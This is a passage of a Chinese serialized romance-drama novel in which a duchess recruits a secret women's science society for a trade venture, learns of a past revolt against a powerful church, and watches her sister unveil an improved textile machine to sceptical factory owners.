莫尔神色一僵,转而哀求道:“怀特先生,我们当初支撑您也是因为相信您的能力,求您看在我们不容易的份上,想想办法吧!” “是啊!如果,我是说如果怀特家族扛不住,那也请早点告诉我们!至少我们能另做打算!”布料商语气带着威胁。 赫尔曼没动怒,只是指尖又开始叩桌面,“请随意。” 布料商:“你!” 赫尔曼抬眸,语气没带任何安抚,却透着不容置疑的笃定:“想走的自便,不想走的,就按我刚才说的,老实等着。” 几个布料商愤然离开,莫尔却停在原地踌躇。 他看了看两个远去的布料商,又看了看赫尔曼,最终没再多说,只是点点头:“我会等您的消息,但先生,别让我等太久,拜托。” 说完转身离开,关门时带进来的冷风,让烛火晃了晃。 赫尔曼靠在椅背上,刚要抬手揉眉心,门又开了。 “查尔斯,我不是说过今天别打扰……” 他话音未落,就听见女人的声音。 “是我。” 伊莎贝尔走进来,自然地在对面坐下,“莫尔来要说法了?” “嗯,想要尾款,还想知道技术进展。”赫尔曼语气冷淡,随手拿过昨天刚送来的技术报告翻看,“莫尔这些人见不到现钱,就无法建立信心,到时候没有他们,航路也不可能短时间内建立起来,我们的资金也会出现问题。” 报告上面是蒸汽机改良草图,上面有几处用红笔圈出的修改痕迹。 赫尔曼拿起草图,指尖划过红笔圈出的地方,神色有几分难看,“钱没法解决,教会把核心参数卡得太死,技术也没有进展。两条路堵死。” 伊莎贝尔接过草图凝神细看。 赫尔曼冷笑:“因为你的引蛇出洞,现在我们两家都被这条毒蛇咬了,再不找到解药,大家一起死。” 他刚才面对莫尔神态坦荡,心里却不是没有愤怒。 都是这个女人节外生枝,惹出烂摊子,现在连累得新航路都快出现危机。 伊莎贝尔沉默片刻,忽然笑了,指尖点了点草图边缘,语气里带着点嘲讽:“解药?你手里早就握着解药,却盯着这些没进展的图纸,是不是愚蠢了?” 赫尔曼微眯眼。 伊莎贝尔不急不缓,从手包里拿出一张全新的机械改良图。 “请看看你妻子的成果。” 伊莎贝尔的声音轻了些,却字字清晰,“有天才在身边,却总想着靠外人的技术,赫尔曼,你这狐狸,有时候也会漏算。” 赫尔曼倏然抬眸,接过草图细看,越看神情越诧异。 他不是不知道妻子的特长与天分,也一直纵容她去发展那些爱好,否则不会特意为她开设一间小工厂。 可是,这段时间他太忙了,没有时间关注奥黛丽的进展。当然,归根究底还是因为没有把希望寄托在这个姑娘身上。 毕竟,那可是改良机器这样的大事。 赫尔曼紧攥着图纸,刚要追问,伊莎贝尔却转身走出门。 - 第二天,温斯顿庄园。 清早,晨雾裹着冷意,预示今天是个晴天。 趁着今天没有下雪,奥黛丽决定去哈登菲尔德,向洁希亚和特蕾莎报喜! 就在昨天,她终于完善了改良机器图纸。 兴奋一整天,告知姐姐还不满足,想把这个好消息昭告全世界! 庄园外,马车等候在门边,奥黛丽提着厚重的珍珠白裙摆,刚踏上踏板,指尖还没碰到车门框,一只纤细白皙的手突然搭在车门上——深绿缎裙的袖口垂落,是伊莎贝尔。 奥黛丽的脚顿在半空,惊讶地抬眼:“姐姐?” 伊莎贝尔没多话,只是朝车厢里偏了偏头,笑着说:“今天多带个人,不介意吧?甜心。” “可是,我要去的地方是……”奥黛丽瞟了瞟车夫,用口型小声提醒:“承知社。” “嗯,我知道。”伊莎贝尔已经坦然上车,坐在妹妹身边,帮她整理围脖,“可以把我介绍给你的朋友吗?” 奥黛丽乖巧地任由姐姐整理着装,却模仿起歌剧男主的口吻,用低沉的腔调道:“噢,当然,我一向无法拒绝美丽的女士。” 然后探过身,从路边花圃里摘下一朵玫瑰咬在嘴边,帅气抬下巴:“送给你,诺曼小姐,来自绅士的心意。” 伊莎贝尔笑着接过玫瑰:“谢谢你,绅士小姐。” 车夫前仰后合,差点把马鞭甩掉了- 马车欢快地行驶在路上,送她们到达市区。 奥黛丽带着姐姐熟练地换乘简陋马车,一路上的确像个绅士。 太阳当空的时刻,二人抵达哈登菲尔德。 熟悉的小房子藏在两栋砖房中间,木门漆皮有些剥落,窗台上摆着两盆枯萎的薄荷,看着和这条街上的其他房子没半点不同。 马蹄声停在门口,奥黛丽先下车,珍珠白的裙子在朴素的街景里格外惹眼,伊莎贝尔跟着下来,墨绿缎裙的光泽更甚。两人站在门前,像两朵误入暗巷的花。 奥黛丽抬手叩门,门环是旧铁做的,敲起来“笃笃”作响。 没几声,屋里就传来下楼的脚步声,很轻,却很稳,是洁希亚夫人的节奏。 门从里面打开,洁希亚夫人如同上次那样穿着简洁工作服,看到门口的奥黛丽时,有些意外,但语气熟稔:“你今天怎么来了,这么冷的天,快……” 话没说完,她的目光越过奥黛丽的肩,看见伊莎贝尔,突然顿住——相似的金发蓝眼,气势却冷淡从容,不难猜测,这是那位霸占报纸头条的公爵夫人。 洁希亚夫人脸上的熟稔瞬间淡了,握着门把的手紧了紧,目光多了几分警惕。 奥黛丽笑着说:“洁希亚夫人,请放心,这是我姐妹,她很可靠,绝不会泄露我们的秘密。” 洁希亚脸色缓和,但仍然没有放下戒备。 “请问公爵夫人大驾光临,是有什么要事?如果只是担心你的姐妹误入歧途,或是考察我们的环境,那就请回吧。” 奥黛丽愣住,正想开口解释,却被姐姐拦住。 伊莎贝尔往前站了半步,朝洁希亚优雅颔首:“洁希亚夫人,请原谅冒昧拜访承知社。” 她开门见山:“我想和您谈一桩生意。” 洁希亚面无表情:“什么生意?” “能让承知社发展壮大,生生不息的生意。”—— 作者有话说:今天增加好多收藏啊!我上网看了看,好多读者宝宝帮我推文了呜呜呜,感动[爆哭][爆哭][爆哭]都是好诚恳好真心的推荐语,我何德何能呜呜呜呜! !爱你们! !键盘敲破了也得好好写完! ! 第70章 “请说说吧, 关于你异想天开的计划。” 承知社,昏暗的会客室,伊莎贝尔和洁希亚面对面坐着,彼此身后站着各自的同伴。 只不过伊莎贝尔后面只有奥黛丽一个人,而洁希亚身后则站了以特蕾莎为首的一群人。 “这是我的项目策划书, 您可以先看看。”伊莎贝尔从提包里拿出一叠文件递了过去。 十分钟后, 洁希亚仔细完毕, 却陡然沉默。 性急的红头发女孩特蕾莎一把抢了过去,“写了什么?” 她一目十行,很快锁定了关键信息:“你要打造通往华夏的新航路?还打算聘用我们成为你的员工?” 伊莎贝尔优雅地端起咖啡喝了一口, 并没有嫌弃主人简陋的瓷杯, “确切的说, 是诺曼实业公司的员工。” 特蕾莎“啪”地合上计划书,冷笑:“公爵夫人,你知道自己在说什么吗?难道你的姐妹没跟你说过,我们都是站在圣曜教会对立面的异教徒,你身为贵族还跟和我们沾上关系?” “如果追求真理与科学,就算是异教徒的话,那么我相信未来终将是异类的世界,到时候,异类还会是异类吗?”伊莎贝尔挑眉,不急不缓,“恐怕所谓的神明才会消失在历史的尘埃里。” 这话让全场安静了一瞬。 是的, 这和她们的理念不谋而合。 她们是一群女人,现阶段力量渺小,也没有想过暴力反抗所谓的教会,也正因此才不被视作威胁, 能安稳地留在这间小房子里,默默追求自己认定的真理。 即便低调至此,可谁也不敢在日常生活里大声地表明立场。 梦想是梦想,现实是现实,它们之间如同明暗分割线,推开承知社的门,就是另一个身份——冠以其他姓氏,是谁的妻子,谁的母亲,谁的女儿,总之,不再是自己。 特蕾莎身后,一个慈祥的中年妇人忽然举起手。 奥黛丽认出了她,提醒姐姐道:“这是史密斯太太。” 伊莎贝尔颔首:“史密斯太太,很乐意聆听您的见解。” 众人看向史密斯太太,这个看起来和任何家庭里的中年妇女没什么两样的女士,鼓起勇气忐忑道:“公爵夫人,我想问……如果我加入您的公司,会有多少薪酬?” 她说完,自知羞愧,立刻低下头,不敢看周围人的目光。 特蕾莎眯着眼:“史密斯太太,我想承知社每个月的补助都已经发放到位了,你为了这点钱就要和一个居心叵测的女人妥协?” 史密斯太太脸色涨红:“我……” 洁希亚叹了口气:“特蕾莎,别这么说。” 特蕾莎冷哼:“我是替你不值,从建立社团以来,几乎所有的经费都由你筹措,一个曾经的侯爵夫人家底都卖光了,还换不来大家的团结。” 洁希亚皱眉,还没说话,史密斯太太就捂着脸哭出声:“噢,抱歉,洁希亚夫人,我知道对不起你。可是我的孩子生病了,只凭丈夫一个人无法负担开支,他想放弃,可是我舍不得。您每个月支付的补助我感恩于心,可是……可是……” 那远远不够。 哭声让所有人安静下来,就连特蕾莎脸上的冷意也渐渐淡了下去。 又有一个年轻的女士举起手,她戴着厚重的眼镜,手里拿着策划书:“公爵夫人,我也想请问你一个问题。” 伊莎贝尔没用奥黛丽提醒,自然道:“劳伦小姐,请说。” 劳伦小姐没料到对方知道自己的名字,愣了几秒,很快说道:“我想问,您计划书中写,会有专门的实验室供我们研究,一切成果都有投产的机会,并应用在实际生活中,这是真的吗?” 这个问题显然代表了更多人的心声,她们纷纷抬起头看向伊莎贝尔。 “劳伦小姐,你问了一个很好的问题。”伊莎贝尔放下咖啡,“我知道,在此之前,承知社是更偏向于理论研究的兴趣社团,你们是女性里的佼佼者,也是人类群体里站在金字塔尖的聪明人。这样的人,都梦想着自己的成果有一天会落地实践。” 奥黛丽在一旁默默点头。 她是最能够理解社员心思的人。 当得知自己能拥有工厂的那一刻,喜悦的心情简直无法想象。如果姐姐的到来,能够让同伴们一起实现梦想,那也算是她对承知社的卓越贡献。 “我在这里承诺各位。诺曼实业公司会给你们提供充分的资源用于实践。至于史密斯太太刚才问的薪酬……”伊莎贝尔顿了顿,扫视众人道,“我并不认为这个问题,比起其他的就是多么低级不堪。相反,史密斯太太问到的才是关键。” “众所周知,放眼整个锡兰公国,女人能从事的行业无非是洗衣、做饭、帮佣、工厂女工,好一点可以去当家庭教师,或者一边兼职一边租赁狭窄的阁楼写作,毕竟家里不会为你提供安静的环境甚至是一张书桌。” 伊莎贝尔淡淡道:“女人永远无法像男人那样轻松地赚钱,也没有进入到高端领域、能够赚大钱的机会。除非像所谓的贵族家庭小姐那样,虽然大学没有她们的一席之地,但可以去到各种社交舞会展现风姿,以求把自己卖个高价,嫁给有钱的男人。” 她平静地用辛辣的口吻嘲讽,完全不避讳自己也是被中伤的人。 “在这样的状况下,说老实话,我认为每一个愿意来到承知社的人,都是勇士。”伊莎贝尔突然拿出一张支票,递给史密斯太太,迎着后者错愕的目光道,“所以我不愿意勇士们败给现实,男人在这个行业能拿多少钱,你们就拥有同等甚至更高的薪酬。” 洁希亚审视着伊莎贝尔,忽然道:“可是,用再多华美的词藻,也无法掩饰你的真正意图。” 她顿了顿;“你只是想利用我们赚钱。” 特蕾莎嗤笑,跟着道:“公爵夫人,我们的消息也没有你想象的那么闭塞。怀特家族面临危机,诺曼小姐研究的改良机器,有我一半功劳,所以你想利用承知社作为你对抗教会垄断,反败为胜的工具。” 话音落下,所有人都警惕起来。 奥黛丽刚想为姐姐辩解,却被伊莎贝尔拉住手。 “是的,一点儿也没错。”她微笑,冰蓝色的眼睛一派坦然,“我就是要利用你们。” 特蕾莎眉头一皱,还没说话就被她继续打断。 “我的姐妹很纯粹,她热爱科学,拥有理想,是你们的忠实伙伴。”伊莎贝尔淡淡道,“我不一样,我只谈利益。如果你们没有价值,我为什么要跟你们合作呢?” 洁希亚脸色冰冷。 伊莎贝尔平静和她对视,“我知道,理想主义者会觉得这话很难听。可是我不想用其他的说辞包装我的目的。” “赚钱并不可耻。”她微笑,“你所看到的商业计划,是开辟第一条与华夏通商的航路,一旦实现,财富和名利源源不绝。” “史密斯小姐拥有出众的语言天赋,我会教她掌握华夏文字,她会成为与华夏贸易往来的先行者,而不是为了孩子生病发愁的太太。” “劳伦小姐精通船舶制造,我会让你加入技术团队,真正学到专业高效的知识并给予实践机会,一旦学有所成,你将是第一个女性船舶工程师。” “还有你,特蕾莎。”伊莎贝尔抬眸,“你是个天才,就在不久的将来,我会让你和我的姐妹一起,成为划时代的符号。” “呵。”特蕾莎冷笑:“你认为我们稀罕名利?” “为什么不呢?”伊莎贝尔道,“我十分喜欢名利。” 她顿了顿,看向洁希亚,语气平静:“最重要的是,你们承知社想要永远维持下去,需要名利。” 洁希亚陷入沉默。 “热爱固然可贵,可人活着却不能只有热爱。”伊莎贝尔盯着她,缓缓道,“洁希亚夫人,我知道你为了承知社付出所有,现在经济已经很窘迫了。不仅是你,这里的所有人,都面临着现实的压力。” 提出问题的劳伦小姐安静了下来。 是的,她们或多或少都有现实的压力,那是承知社之外的世界。她们要当妻子当母亲、要洗衣做饭打扫卫生、要给醉酒的丈夫顽皮的孩子收拾烂摊子、各种家庭琐事压在头顶喘不过气,只有在承知社的短暂时光,才能喘口气。 要不是洁希亚夫人每月发放补助,能够贴补家用,她们很难维持生活。 伊莎贝尔环视一圈,“诸位,我并不是想要用钱收买你们,或是侮辱你们的人格。假如你们一心想要钱,从一开始就不会来到这里。 “我只是想给你们走出去的机会。”她说,“如果只是龟缩在小房子燃烧热爱,自身价值无法得到发挥,没有足以维持生活的钱,没有实践,那么能量迟早耗尽。你们所珍视的承知社也会变成一潭死水。” “是的,我的计划很惊世骇俗,它要让你们走出去抛头露面,成为这些陌生领域里,少有的女性从业者。”她说,“可是一旦你们踏出这一步,坚持的热爱就会换来面包。” “地下室里你们的学生也会知道,知识可以改变自己的生活和命运。等她们长大,就不必在匮乏的职业选择里徘徊。她们会像你们一样,去当翻译家、工程师、研究员……你们托举着自己的学生,而这些孩子也会托举一代又一代的孩子。”伊莎贝尔深吸一口气,看向洁希亚,认真道:“也只有这样,承知社的河水,才真正流动起来,生生不息。” 室内陷入沉默,阳光透过窗户,洒进室内,照着每一个沉思的面孔。 劳伦小姐忽然举起手,再次打破寂静。 她动了动嘴唇,镜片后的眼睛划过坚定的光:“公爵夫人,我愿意加入。” 70-80 第71章 紧随着劳伦小姐,史密斯太太也举起了手,通红着脸忐忑道:“还有我。” 洁希亚听见后面的此起彼伏的声音,表情很平静。 既能够实现理想, 又不必生活窘迫,这样的机会太诱人了, 没人能够抗拒。 等到最后一个人结束报名, 一直没说话的奥黛丽突然问:“洁希亚夫人, 那你呢?你愿意加入吗?” 洁希亚看向伊莎贝尔,摇头道:“我精力不济,恐怕对公爵夫人来说不算有价值。” 奥黛丽眼神暗了暗, 又看向特蕾莎。 后者接收到她的眼神,很快撇开头,冷笑:“洁希亚不去,我去干什么?再说了,我龟缩在这个小房子度过一辈子挺好的。” 所有人愣住, 纷纷低下头。 这番话无疑表明了立场,洁希亚如果不加入, 那就等于她们要脱离承知社,去往新的地方。 大家都受过洁希亚的恩惠, 可以说,没有她, 就没有今天的这些人。 有几位女士眼眶通红,心里的天平开始摇摆, 眼看就要后悔,却看见洁希亚站起身。 她环顾众人,叹了口气道:“各位女士,你们不必为离开承知社感到愧疚,老实说,公爵夫人的计划很好,这样的机会太难得了。我找不出理由反驳,更不想劝阻你们追求更好的生活。” “以上这些话都是出自真心,我希望你们毫无顾忌地去追求理想。” 洁希亚深吸一口气,回过头看向伊莎贝尔,“但是如果有一天,我是说如果,她们遇到了麻烦,或是对你来说失去了价值,请把她们送回来。” 人群里,不知是谁哭出了声。 特蕾莎紧抿唇角,脸色难看。 伊莎贝尔微笑对洁希亚颔首,认真道:“请放心,我会对她们负责到底,无论遇到什么境况。” “不过……”她顿了顿,“我并不想因为自己的介入,而让承知社分崩离析,能问一问您为什么不愿意加入吗?” 洁希亚扫了眼特蕾莎,后者意会,将所有人带了出去。 室内只剩下诺曼姐妹和洁希亚。 “我和特蕾莎的身份特殊,如果只有她们成为你的员工,那只是很简单的商业活动。”洁希亚说,“一旦我们也在,等你发展壮大,那些暗中窥伺的教会爪牙,也许就会以此为把柄。” 她深吸一口气,眼底暗含深意:“我不想连累我的社员,也不想连累你。” 伊莎贝尔若有所思。 奥黛丽和她说过,特蕾莎是圣匹斯堡跑出来的修女,而洁希亚有一个参与反抗起义的丈夫。 “能问问,您的丈夫是?” 洁希亚盯着伊莎贝尔,轻笑:“新任的斯宾塞夫人恐怕还没来得及了解你的家庭。” “我的丈夫是索伦侯爵,路德维希上将的战友。” “路德维希上将?我丈夫的父亲,那位路德维希·斯宾塞?”伊莎贝尔微眯眼,脑中很快划过细微的灵光。 “是的,大名鼎鼎的帝国双壁之一。”洁希亚平静道,“年轻时,他和我的丈夫一同出使赫斯兰,并在那里游学三年。期间,我和索伦相识并订下婚约,和他们一起回到锡兰。” 赫斯兰是人文启蒙的摇篮,年轻的锡兰贵族在那里学习了许多先进的思想,还认识了志同道合的伴侣。回到锡兰面对种种落后的局面,想要改变现状是再正常不过的事情。 伊莎贝尔沉思片刻:“当年和索伦侯爵一起参与起义的,还有路德维希是吗?” “你说反了,领导起义的才是路德维希。”洁希亚眸光微沉,“你现在是查尔维斯的主人,应该知道斯宾塞的辖区,是没有教会控制的。这并不是偶然,而是因为路德维希当年已经把汉克郡的主教赶走了。” 伊莎贝尔垂眸聆听。 “你们太小了,还不知道当年的教会势力有多么庞大。”洁希亚说,“西里尔十三岁登上伽蓝神殿王座,他是目前为止最受崇敬的教皇,神职人员称他是圣曜真神赐福人间。的确,就是从那时候起,教会开始蓬勃发展。” “他们掌握了技术,成立教会学校,只有神职人员和高级贵族能够入学,从方方面面垄断农业、商业甚至是思想。” “当教会成为金字塔尖,所有人都想爬上去,蛀虫越来越多,底层的压力越来越大,甚至挤压到了贵族的生存空间。”伊莎贝尔淡淡道,“所以由路德维希牵头发动起义?” “是的,我的丈夫原本主张非暴力反抗,可他连续向议院递交提案,都石沉大海。”洁希亚说,“路德维希是军人,又握有兵权。他从赫斯兰回去的第一件事,就是把教会安排在地方的武装力量全都瓦解。” 伊莎贝尔陷入沉思:“如果我是教会,我就会联合其他几位选帝侯,许以利益,给斯宾塞一个教训。” “没错,可惜路德维希不仅是个军人,还是个出色的政治家。”洁希亚轻笑,“你可以猜猜他用什么办法让教会妥协了?” 伊莎贝尔眸光微动,听见洁希亚语气复杂道:“谁也不知道他怎么出现在圣匹斯堡,总之,那天路德维希活捉了西里尔,用人质逼迫伽蓝神殿签订法案,让渡教会权力。这才有了今天看似祥和的局面。” “那年路德维希还很年轻,西里尔也很年轻,帝国上将绑架了教皇,听说还顺手绑了个寄养在伽蓝神殿的公主,一直逃到赫斯兰,甩脱追兵后才放人。” 洁希亚:“听起来是粗暴的斗争,但是这恰恰是对教会最有用的措施。” 伊莎贝尔沉默许久,抬头道:“因为西里尔才是圣曜教会的核心。所以,为什么路德维希没有直接杀了他?” 洁希亚看着她,忽然笑了:“那样一来,战争就无法避免。” 伊莎贝尔垂眸,忽然觉得自己对路德维希的猜测,不够全面。 古往今来,博弈无非就是那么几种手段。 教会有钱有权,还能用思想统治一切,唯一薄弱的是兵,武装力量不是商业经济,所有人的眼睛都盯着他们,尤其是握有兵权的王室以及各位贵族。 所以,他们必须和王权保持平衡,和大贵族们瓜分利益,一边私底下偷偷以各种名目养兵。 那些以招募传教士为由头的告示散发在田间地头,吃不起饭的人当然都想加入。 一面是越来越膨胀的顶层,一面是负担越来越重,备受压迫的底层。一面是利益受损的中层小贵族。放任矛盾变形,迟早要爆发真正的战争。 可是历史就是这样,谁也无法从中吸取教训,身在其中时,只能一遍又一遍地重蹈覆辙。 或许,最顶端发号施令的人能够预料将来的这一天,可是对他而言,战争不过是输赢的游戏,意味着又一轮的瓜分利益。又哪里想过,历史的车轮压过,多少生命沦为尘埃。 当然,他应该更没有猜到,揭竿起义的人竟然是路德维希。 路德维希·斯宾塞,七大选帝侯之一的大贵族,无可辩驳的既得利益者。金字塔再怎么畸形,也没有压迫到他的身上。可偏偏是这样一个人反了。 洁希亚忽然问:“你是不是认为,路德维希是为贵族利益而战?” 伊莎贝尔:“应该是当时的所有人都这么认为。” “是的,甚至很多贵族都期待着这一天,你知道的,除了底层的百姓,没人害怕战争。他们都想浑水摸鱼,跟着路德维希打垮教会,分食利益。”洁希亚嗤笑,“可惜没人料到,路德维希的确逼着西里尔切下了蛋糕,却是递给底层的泥腿子。那条法案里桩桩件件,都是给他们求活路。” “可是这也铺垫了路德维希的死路。”伊莎贝尔面带思索,“他没有为贵族争夺更多的利益,却又狠狠得罪了教会。如果我是西里尔,只要我活着回去,我就会联合所有不甘心的贵族报复他。” “是的,萨克森家族就是这么崛起的,不过这样的局面是路德维希预料到的。”洁希亚道,“我的丈夫一直追随路德维希,也有许多人追随着教会的代言者。那些年发生很多斗争。不过都仅限于贵族之间,并没有爆发大规模的战役。” “现在知道这些事的人很少,他们都把那场掩埋在历史里的和平革命,当作是路德维希个人争权夺利的象征。”洁希亚叹了口气。 一旁的奥黛丽忽然红了眼眶:“这样做值得吗?他肯定很委屈吧?” 洁希亚轻笑:“五年前,赫斯兰发生内斗,新国王突然对锡兰宣战,我在索伦跟随路德维希上战场前,也问过他这句话,这样值得吗?” “从和平革命之后开始,没人知道你们极力避免战争,为平民争取利益的功劳。这么多年,整个锡兰都在明里暗里削减斯宾塞以及追随者的势力,甚至败坏你们的名声。现在你还要为它出征,谁知道那是不是陷阱?” “后来事实证明,那的确是场阴谋。”洁希亚说,“我的丈夫倒在后方,他一直从事文职,投身地下组织的工作,却被人出卖,死后还判处叛国罪。而路德维希和弗兰德里克公爵尸骨无存,斯宾塞彻底被架空。” “迟来的报复,终究还是降临。”洁希亚苦笑,“所以你说值得吗?我也不知道。” “我只是记得索伦给我转达路德维希的话,他说,他并不觉得自己拥有多么高尚的品德,只是人活着,总要有为之坚守的某些东西。” 伊莎贝尔眸光微顿,想起翻阅斯宾塞家族历史时,玛格丽特当年的经历。 还是萨瑟兰公爵夫人的玛格丽特,是被领地所有的百姓托举起来的领袖,请封女爵被驳斥,也是他们联名抗议,这才有了第一位斯宾塞家族的开端。 又想起慰问查尔维斯佃农的时候,那些老人感激的话语。伊莎贝尔仿佛能猜到,和平革命前的路德维希,也许在农场的田野上站了很久。 他看着满脸风霜交不起税的老人跪地求饶,看着孩子饿得哇哇大哭,看着不远处的神职人员穿着名贵的丝绸,喝令着属下押送穷人服役。看着幼小的乞丐对着教堂神像祈求,希望可以吃顿饱饭,却被慈悲的神父狠狠殴打。 高高在上的神明只是冷眼看着,没有显灵,于是路德维希踏上了去伽蓝神殿的路。 夕阳落下,天色渐晚。 洁希亚疲惫起身:“好了,你们请回吧。该说的我已经说完了,索伦死后,我就来了肯特郡。但是该知道的人,都知道这件事。建造新航路不容易,别给自己添麻烦了。” 她说着就要走,却被伊莎贝尔叫住。 “洁希亚夫人。”夕阳落在墨绿色裙子上,为她镀上一层金光,“我并不觉得这是麻烦。” “承知社不能永远停留在昏暗的小巷里,等社员们入职,我会为它改头换面,让它成为一所真正的女子学校。”伊莎贝尔又拿出一份新的策划书,“这才是我来这里的最终目标。” “可是……你难道不害怕被教会关注吗?” 伊莎贝尔和奥黛丽对视一眼,指着妹妹道:“我已经出动了我的王牌对抗他们,还怕你们那点小麻烦吗?” 她将策划书放在桌上,优雅颔首:“洁希亚夫人,希望你慎重考虑我的提议,告辞了。” 伊莎贝尔带着奥黛丽离开,踏出门时,奥黛丽突然顿住脚步:“姐姐,你等等,我再和洁希亚夫人说句话。” 伊莎贝尔等在门外,看着妹妹飞速跑回去,凑在洁希亚夫人耳边嘀咕,又很快跑回来,问她说了什么,她就摆摆手敷衍过去。 伊莎贝尔轻笑,没再追问,叫了马车离开。 身后,洁希亚夫人想起奥黛丽的话,忍不住发笑。 她无比认真地向自己解释:“我的姐妹是个很好的人,你别看她把自己说得那么坏,其实她的心肠很软,答应你的事一定会做到。” 说完,水蓝色的眼睛小心翼翼地看着洁希亚:“所以……您一定和其他人说,千万别误会她,别记恨她,也别生气,好吗?” 洁希亚夫人先是觉得好笑,而后内心被那双澄澈的眼睛打动。 奥黛丽也许没有完全听明白这场谈话在说什么,那些利益和斗争离她太远了。可她只知道,自己的姐姐被别人当作是很坏很狡诈的人,所以她迫不及待想解释这一点。 洁希亚叹了口气,默默在策划书上签了字。 第72章 章节锁定 第73章 伴随着话音落地,两个工人推着一台铁制机器走了出来——机器比普通纺织机矮些,机身侧面装着一层细密的铜网,顶部有个弧形的梭子轨道,阳光下,黄铜零件闪着冷光。 奥黛丽走到机器旁, 停下脚步, “各位看到的这台机器, 就是我设计的。” 她的声音清澈明亮,台下瞬间安静了几秒,随即又响起更大的议论声。 “噢!真是滑稽!你是说一个女人还能设计机器?” “瞧瞧, 那可是怀特太太, 恐怕是她丈夫把数据塞给她, 让她来装样子!” “就是, 女人连纺锤都用不利索,还能设计纺织机?” 嘈杂的氛围里, 站回后台的赫尔曼脸上很难看,刚想开口, 伊莎贝尔的声音响起:“相信她,她可以解决。” 似乎映证姐姐的话, 台前,奥黛丽攥了攥手, 神情坦荡,假装没有听见这些质疑。 她走到机器侧面,指着那层铜网:“各位请看,这是亚麻纤维过滤装置。过去染色时,靛蓝染料里的粗纤维会随废水排出,不仅污染河道,还会堵塞机器。现在这层铜网能截留粗纤维,同时让染料通过,废水排放量减少六成,机器的清洁周期也能从三天延长到七天。” 奥黛丽显然做足了功夫,一口气将设计思路解释得清清楚楚。 进入了状态,她又指向顶部的轨道:“这里用了梭子联动凸轮结构,普通纺织机的梭子需要人工推动,每分钟只能走十二次,而这个凸轮结构能让梭子自动联动,每分钟走十七次,产量自然提高四成。” 人群里,率先质疑的比奇先生冷笑一声:“说得倒好听,谁知道你的数据是不是造假?模拟实验做一百次,不如真机器转一次!” 奥黛丽抬眼,目光清亮:“的确,您说得很对,实验再怎么精准,都不如真机器开动一次。” 说完,她拍了拍手,向侧后方退了两步,“各位请看——” 幕布缓缓拉开,偌大的厂房呈现在众人眼前,怀特工厂工人整装待命。 查尔斯上前两步,礼貌颔首:“如各位所见,这台机器上周已经在第三车间投产。现在,我们可以现场演示纺纱。” 他顿了顿,语气带着自信,“愿意起身观看实际运转,还请劳驾移步楼下;不愿意去的,也可以留在这里,等待实验数据。” 台下的议论声渐渐小了,莫尔第一个举起手,立刻站起来:“我去!我倒要看看这机器是不是真有这么神奇!” “我也去!” “还有我!” …… 布鲁森神情凝重,比奇咬着牙也举起手:“我也得去瞧瞧!” 跟着站起来的工厂主上前观看机器实验。 轰隆隆的运转声响彻厂房,工人井然有序开始进入制作。有专门的人员负责给观众展示耗材数据,全流程透明化。 索菲娅坐在席间,岿然不动,看向奥黛丽的眼底却闪过一丝深意。 她原本以为是那位老对手公爵夫人在耍花样,可是现在看来,怀特家还真搞出了名堂。 另一位诺曼小姐,也是个天才? 人群里,奥黛丽站在机器旁讲解,尚且不知道索菲娅的注视。二楼纵观全场的伊莎贝尔却没有错过这一幕。 “那个女人又在酝酿什么诡计?”海因里希皱眉冷哼。 伊莎贝尔挑眉:“你也看出来了?” 海因里希睨着她,哼哼:“你们两个想耍心眼前的表情一模一样。” 伊莎贝尔轻笑,没料到是这个理由。她敷衍地赞赏:“斯宾塞先生真细心。” 冰蓝色的眼睛划过笑意,“如果一个人提前预判了对方的计谋。最后的结果可就说不准了。” 楼下,索菲娅敏锐地察觉了目光,二人的视线交汇。 伊莎贝尔微微颔首,坦然地打了个招呼,再次看向场中央的奥黛丽。 试运行结束后,所有工厂主亲眼见证了结果,质疑的声音彻底消失。 再难以置信也不得不信,怀特工厂真的研究出了改良机器!主设计师还是个女人! 奥黛丽站在机器旁,看着台下涌动的人群,镇定开口:“各位还有什么疑问吗?” 阳光透过厂房明亮的玻璃窗,落在她的身上,仿佛为她镀上一层自信的气场——这台机器,不仅是突破教会技术垄断的武器,更是她证明自己的底气。 有人试探地提出了几个技术问题,奥黛丽一一回答。 突然,比奇先生举起手道:“怀特太太,不是我们不信你,但是你一个女人,怎么就突然研究出了改良机器,不如这样,我们派几个研究员,留在这里收集更多的实验数据,如果属实,那么我们就相信你。” 此话一出,众人眼神产生微妙变化。 赫尔曼眯眼,手指摩挲着银质手杖,似乎预备着用它砸开比奇丑陋的脑袋。 二楼,伊莎贝尔眼神沉了下去。 海因里希讽笑:“真有趣。让研究员收集更多数据?他怎么不直接说想来当小偷?” 公爵先生向来有话直说,从不委屈自己。 他没有压低声音,明晃晃地扯开比奇的遮羞布,将对方的龌龊心思暴露在众人眼底。 奥黛丽感受到家人们的关心,飞快冲他们眨眨眼,而后扬起下巴面对观众道:“比奇先生,我们该展示的部分已经到此为止,如果还是不信,你大可不必与我们合作。” “同样的话,也告诉各位,信任是基石,如果不相信眼前的一切,那么现在就可以离开。如果想要合作,那就按照合同来。前十名合作商附赠保修服务,由我们的员工上门调试。合作满一年,无偿赠送机械图纸。” “什么?赠送图纸?也就是说……你们不对技术保密?!” 这个消息如惊雷炸响! 在场都是老商人了,他们一听就明白,怀特工厂这是不着急赚钱,想先利用改良机器打开市场,把它推广得遍地开花! 莫尔暗暗叹服,这招真是高明!也真是够大方! 改良机器成果有目共睹,既能提高产量又能减少污染,不仅压低成本还能变相解决工人厂房环境问题,改善舆论。几乎整个哈市的工厂主都对此有需求。 以前教会全面垄断技术,所有人的机器只能从机械教会旗下的工厂采购。普通商人既没有制造能力,也没有研究的土壤,只能依赖于教会,老老实实交赎罪金。 现在不同了,怀特家出品更高端的机器,不仅价格实惠,一年后还无偿分享技术! 这相当于带着所有商人一起对抗教会垄断!只要他们都不用教会的机器,那么垄断不攻自破。 当然,赫尔曼绝不是个吃亏的商人。 只要市场打开,大家意识到不必依赖教会,那么作为先行者,怀特工厂仍然能受益。 毕竟,一年的合作期里足够天才诺曼设计师升级换代好几轮,他们依然走在时代前列,不怕没有订单。 所以,目前的怀特工厂必须将格局放大,先圈地,再赚钱! 品读出这层意思,所有商人都激动起来。 只要不是个傻子,这会儿都得争抢着和怀特合作! 以莫尔先生为首的商人争先恐后报名,端坐在人群中的索菲娅突然轻笑,摇晃着羽毛扇道:“诸位别太着急。” 她柔和的声线使得众人安静下来。 “首先要当然恭喜怀特工厂,拥有了一位天才工程师。”索菲娅微笑着向奥黛丽颔首,顿了顿,“不过,我可要提醒各位,教会手里的核心技术,可不止一台改良纺织机。” 